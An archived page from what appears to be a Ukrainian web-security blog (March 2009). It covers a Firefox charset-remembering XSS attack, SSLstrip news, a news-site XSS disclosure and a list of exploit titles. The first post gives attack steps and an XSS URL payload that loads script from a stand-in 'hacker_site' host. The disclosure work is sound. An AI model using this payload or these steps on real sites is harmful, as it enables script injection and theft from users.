Архів за Березень, 2009

Charset Remembering Firefox’а наносить удар у відповідь

23:58 03.03.2009

03.03.2009

Так, Charset Remembering Firefox’а наносить удар у відповідь (Firefox’s Charset Remembering strikes back). Раніше я розповідав про Charset Remembering уразливість в Mozilla Firefox. І як я писав в коментарях до свого запису, Mozilla частково виправила уразливість, але виправила лише атаку через UTF-7 (в Firefox 3.0.2). Сама ж Charset Remembering в браузері залишилася, що я перевірив в Firefox 3.0.6. Що може бути використано для проведення подібних атак з іншим кодуванням.

І одразу, як я написав даний коментар, я почав обмірковувати можливість атаки з іншими кодуваннями (окрім UTF-7). В мене виникли підозри, що для даної атаки можна використати кодування EUC-JP або SHIFT_JIS. Що я сьогодні перевірив і підтвердив можливість проведення XSS атаки з EUC-JP (SHIFT_JIS) з використанням Charset Remembering уразливості.

При вказані користувачем для сторінки на сайті кодування, браузер запам’ятовує дане кодування і використовує його в подальшому при всіх запитах до даної сторінки, якщо в ній не вказано кодування. Навіть після перезапуску браузеру - вказане кодування запам’ятовується доти, доки воно не буде змінено на інше. Що дозволить при вказанні кодування EUC-JP (SHIFT_JIS) проводити XSS атаки (при відвіданні сторінок з XSS кодом або приховані атаки через frame/iframe).

Алгоритм атаки (схожий на Charset Remembering з UTF-7):

1. Заманити користувача на сторінку http://site/page.html (де не вказане кодування) і змусити його встановити EUC-JP (SHIFT_JIS) кодування для даної сторінки.

2. Сторінка на сайті, що атакується, повинна бути придатна для проведення XSS атак з variable-width encoding.

3. Розмістити спеціальний XSS код на http://site/page.html (як reflected або persistent) і атакувати користувача на даній сторінці.

4. Доки кодування EUC-JP (SHIFT_JIS) для даної сторінки буде встановлене в браузері, можна буде повторно атакувати користувача.

Уразливі Mozilla Firefox 3.0.6 та всі попередні версії (всі браузери на движку Mozilla).

XSS через Charset Remembering:

Коли фільтруються кутові дужки і лапки, то атакувати можна з використанням -moz-binding.

http://site/page.html?a=%8F&b=%20style=-moz-binding:url(http://hacker_site/xss.xml%23xss)%20

Працює в Mozilla 1.7.x, в Firefox 1.x та потенційно в Firefox 2.x, але не в Firefox 3.0.6 (де виправлений -moz-binding вектор атаки).

Коли фільтруються лише лапки (а кутові дужки можливі), то атакувати можна без -moz-binding.

PoC:

Firefox_XSS_Charset_Remembering.html.

Працює в Mozilla Firefox 3.0.6 та всіх попередніх версіях.

16.06.2012

Як я вияснив, дана атака також може бути проведена при кодуванні Chinese Simplified (HZ). Також XSS і Charset Remembering уразливості наявні в браузерах в Internet Explorer і Opera.

Успішна атака на SSL

22:46 03.03.2009

Дослідник, що називає себе Moxie Marlinspike, продемонстрував на черговій BlackHat-конференції утиліту SSLstrip, що реалізує техніку перехоплення SSL-з’єднань, засновану на тому факті, що, як правило, перед початком взаємодії по https і встановленню SSL-з’єднання користувачі заходять на деяку звичайну веб-сторінку за допомогою незахищеного http-з’єднання, де і натискають заповітну кнопку Login.

Привабливість цієї атаки в тім, що власне SSL-з’єднання ніхто й не атакує. SSLstrip працює як звичайний проксі, що відслідковує http-трафік. Хоча користувач щиро вважає, що взаємодіє із сайтом по https, насправді він спілкується з SSLstrip по простому http, ну а та у свою чергу чесно йде на сайт по https від імені користувача. Шляхом підміни favicon навіть виходить імітувати значок захищеного з’єднання, ну а http там у рядку адреси чи https - на таку дрібницю не кожний зверне увагу.

За словами автора атаки, за допомогою SSLstrip за добу йому вдалося зібрати 117 паролів до поштових аккаунтів, сім логінів PayPal і 16 номерів кредитних карт.

По матеріалам http://bugtraq.ru.

Уразливість на newsukraine.com.ua

19:39 03.03.2009

22.09.2008

У грудні, 09.12.2007, я знайшов Cross-Site Scripting уразливість на проекті http://newsukraine.com.ua (онлайн ЗМІ). Про що найближчим часом сповіщу адміністрацію проекту.

Про дірки на сайтах онлайнових ЗМІ я часто згадую в новинах. Серед останніх сайтів ЗМІ я писав про заражений dn.kiev.ua та уразливості на expert.com.ua.

Детальна інформація про уразливість з’явиться пізніше.

27.02.2009

XSS:

Дана уразливість вже виправлена.

Добірка експлоітів

16:07 03.03.2009

В даній добірці експлоіти в веб додатках:

  • Diesel Joke Site (picture_category.php id) SQL Injection Vulnerability (деталі)
  • ProActive CMS (template) Local File Inclusion Vulnerability (деталі)
  • fhttpd 0.4.2 un64() Remote Denial of Service Exploit (деталі)
  • Pluck 4.5.3 (update.php) Remote File Corruption Exploit (деталі)
  • AssetMan v2.5-b SQL Injection using Session Fixation Attack (деталі)
  • easyLink 1.1.0 (detail.php) Remote SQL Injection Vulnerability (деталі)
  • Explay CMS <= 2.1 Persistent XSS and CSRF Vulnerability (деталі)
  • Oceandir <= 2.9 (show_vote.php id) Remote SQL Injection Vulnerability (деталі)
  • Plaincart 1.1.2 (p) Remote SQL Injection Vulnerability (деталі)
  • Diesel Pay Script (area) Remote SQL Injection Vulnerability (деталі)
  • MyFWB 1.0 (index.php page) Remote SQL Injection Vulnerability (деталі)
  • Explay CMS <= 2.1 Insecure Cookie Handling Vulnerability (деталі)
  • Advanced Electron Forum <= 1.0.6 Remote Code Execution Vulnerability (деталі)
  • jPORTAL 2 (humor.php id) Remote SQL Injection Vulnerability (деталі)
  • PHPKB 1.5 Professional Multiple Remote SQL Injection Vulnerabilities (деталі)